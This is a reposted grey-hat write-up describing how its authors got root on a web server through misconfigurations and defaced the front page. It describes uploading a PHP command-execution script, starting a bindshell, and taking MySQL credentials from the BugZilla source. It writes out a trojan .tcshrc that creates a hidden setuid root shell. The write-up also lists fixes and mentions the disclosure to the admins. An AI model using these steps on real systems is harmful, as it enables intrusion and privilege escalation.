How to defaced

How we defaced
by {} and Hardbeat

* Before you start reading
This paper does _not_ uncover any new vulnerabilities. It points out common
(and slightly less common) configuration errors, which even the people at made. This is a general warning. Learn from it. Fix your systems,
so we won’t have to 🙂

* introduction
This paper describes how, over the course of a week, we succeeded in
getting root access to the machine running, and changed
the main page to show a ‘Powered by Microsoft BackOffice’ logo instead
of the default ‘Powered by Apache’ logo (the feather). No other changes
were made, except to prevent other (possibly malicious) people getting in.

Note that the problems described in this paper are not apache-related,
these were all config errors (one of ‘m straight from BugZilla’s README,
but the README had enough warnings so I don’t blame the BugZilla developers).
People running apache httpd do not need to start worrying because of
anything uncovered herein.

We hacked because there are a lot of servers running apache
software and if got compromised, somebody could backdoor
the apache server source and end up having lots of owned boxes.

We just couldn’t allow this to happen, we secured the main ftproot==wwwroot
thing. While having owned root we just couldnt stand the urge to put that
small logo on it.

* ftproot == wwwroot
* o+w dirs
While searching for the laters apache httpserver to diff it the with
previous version and read that diff file for any options of new buffer
overflows, we got ourselves to We found a mapping of
the on that ftp including world writable directories.

So we wrote a little wuh.php3 including

and uploaded that to one of the world writable directories.

* Our commands executed
Unsurprisingly, ‘id’ got executed when called like

Next was to upload some bindshell and compile it like calling and then
executing it like calling

* The shell
Ofcourse we used a bindshell that first requires ppl to authenticate with
a hardcoded password (:

Now we telnet to port 65533 where we binded that shell and we have local
nobody access, because cgi is running as user nobody.

* The box
What did we find on box:
-o=rx /root
-o=rx homedirs is a freebsd 3.4 box. We didn’t wanted to use any buffer
overflow or some lame exploit, goal was to reach root with only
configuration faults.

* Mysql
After a long search we found out that mysql was
running as user root and was reachable locally. Because was
running bugzilla which requires a mysql account and has it
username/password plaintext in the bugzilla source it was easy to
get a username/passwd for the mysql database.

We downloaded nportredird and have it set up to accept connections on
port 23306 from our ips and redir them to localhost port 3306 so we could
use our own mysql clients.

* Full mysql access
* use it to create files
Having gained access to port 3306 coming from localhost, using the login
‘bugs’ (which had full access [as in “all Y’s”]), our privs where
elevated substantially. This was mostly due to sloppy reading of the BugZilla
README which _does_ show a quick way to set things up (with all Y’s) but
also has lots of security warnings, including “don’t run mysqld as root”.

Using ‘SELECT … INTO OUTFILE;’ we were now able to create files
anywhere, as root. These files were mode 666, and we could not overwrite
anything. Still, this seemed useful.

But what do you do with this ability? No use writing .rhosts files – no
sane rshd will accept a world-writable .rhosts file. Besides, rshd
wasn’t running on this box.

* our /root/.tcshrc
Therefore, we decided to perform a trojan-like trick. We used database
‘test’ and created a one-column table with a 80char textfield. A couple
of inserts and one select later, we had ourselves a /root/.tcshrc with
contents similar to:
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc

* ROOT!!
Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
people legally having root, this didn’t take long. The rest is trivial
too – being root the deface was quickly done, but not until after a
short report listing the vulnerabilities and quick fixes was build.
Shortly after the deface, we sent this report to one of the admins.

* Fix that ftproot==wwwroot
Another thing we did before the deface, was creating a file ‘ftproot’ in
the wwwroot (which was also ftproot), moving ‘dist’ to ‘ftproot/dist’
and changing the ftproot to this new ‘ftproot’ dir, yielding the
world-writable dirs unexploitable but allowing ftp URLs to continue

* What could have been compromised?
Remember the trojaned tcp_wrappers on last year? If we
wanted to, we could have done the same thing to Apache. Edit the source
and have people download trojaned versions. Scary, eh?

* In short:
– ftproot==webroot, worldwritable dirs allowing us to upload and execute
php3 scripts
– mysqld running as root, with a FFULL RIGHTS login without a password.

* Compliments for the Apache admin team
We would like to compliment the Apache admin team on their swift
response when they found out about the deface, and also on their
approach, even calling us ‘white hats’ (we were at the most ‘grey hats’
here, if you ask us).


~ oleh gandhiprima pada 16 Desember, 2007.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:


You are commenting using your account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: